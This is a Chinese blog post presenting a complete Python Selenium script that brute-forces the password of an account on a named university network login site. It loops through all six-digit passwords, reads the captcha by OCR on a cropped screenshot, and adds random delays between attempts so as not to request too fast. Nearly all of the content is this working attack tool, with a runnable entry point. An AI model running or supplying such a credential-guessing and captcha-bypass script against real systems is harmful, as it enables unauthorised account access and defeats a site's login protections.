python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python基础教程之数字处理(math)模块详解
Mar 25 Python
django自定义Field实现一个字段存储以逗号分隔的字符串
Apr 27 Python
Python中对元组和列表按条件进行排序的方法示例
Nov 10 Python
python使用tensorflow保存、加载和使用模型的方法
Jan 31 Python
Python根据欧拉角求旋转矩阵的实例
Jan 28 Python
Django之创建引擎索引报错及解决详解
Jul 17 Python
详解程序意外中断自动重启shell脚本(以Python为例)
Jul 26 Python
django的model操作汇整详解
Jul 26 Python
pandas DataFrame的修改方法(值、列、索引)
Aug 02 Python
python lambda表达式(匿名函数)写法解析
Sep 16 Python
Python时间差中seconds和total_seconds的区别详解
Dec 26 Python
Python实现剪刀石头布小游戏(与电脑对战)
Dec 31 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
PHP使用ob_start生成html页面的方法
2014/11/07 PHP
详解thinkphp实现excel数据的导入导出(附完整案例)
2016/12/29 PHP
在PHP中输出JS语句以及乱码问题的解决方案
2019/02/13 PHP
PHP利用缓存处理用户注册时的邮箱验证,成功后用户数据存入数据库操作示例
2019/12/31 PHP
JS实现字体选色板实例代码
2013/11/20 Javascript
JavaScript实现继承的4种方法总结
2014/10/16 Javascript
jQuery实现悬浮在右上角的网页客服效果代码
2015/10/24 Javascript
一个用jquery写的判断div滚动条到底部的方法【推荐】
2016/04/29 Javascript
实例解析angularjs的filter过滤器
2016/12/14 Javascript
深入理解Node中的buffer模块
2017/06/03 Javascript
详解JavaScript调用栈、尾递归和手动优化
2017/06/03 Javascript
使用Fullpage插件快速开发整屏翻页的页面
2017/09/13 Javascript
小程序实现自定义导航栏适配完美版
2019/04/02 Javascript
angular多语言配置详解
2019/05/16 Javascript
JS数组方法reverse()用法实例分析
2020/01/18 Javascript
Vue + Element-ui的下拉框el-select获取额外参数详解
2020/08/14 Javascript
js实现拖拽与碰撞检测
2020/09/18 Javascript
如何手动实现一个 JavaScript 模块执行器
2020/10/16 Javascript
Python下rrdtool模块的基本使用方法
2015/11/13 Python
浅谈python jieba分词模块的基本用法
2017/11/09 Python
Python爬虫使用代理IP的实现
2019/10/27 Python
Django关于admin的使用技巧和知识点
2020/02/10 Python
Python内置函数locals和globals对比
2020/04/28 Python
Anaconda使用IDLE的实现示例
2020/09/23 Python
基于CSS3实现立方体自转效果
2016/03/01 HTML / CSS
享誉全球的多元化时尚精品购物平台:Farfetch发发奇(支持中文)
2017/08/08 全球购物
Edwaybuy西班牙:小米在线商店
2019/12/04 全球购物
幼儿园庆六一游园活动方案
2014/01/29 职场文书
优秀小学生家长评语
2014/01/30 职场文书
试用期转正后的自我评价
2014/09/21 职场文书
意外死亡赔偿协议书
2014/10/14 职场文书
检讨书格式范文
2015/05/07 职场文书
2019中秋节祝福语大全,提前收藏啦
2019/09/10 职场文书
JavaScript中10个Reduce常用场景技巧
2022/06/21 Javascript
Java服务调用RestTemplate与HttpClient的使用详解
2022/06/21 Java/Android
Debian11 Xfce终端光标的颜色怎么设置?
2022/08/14 数码科技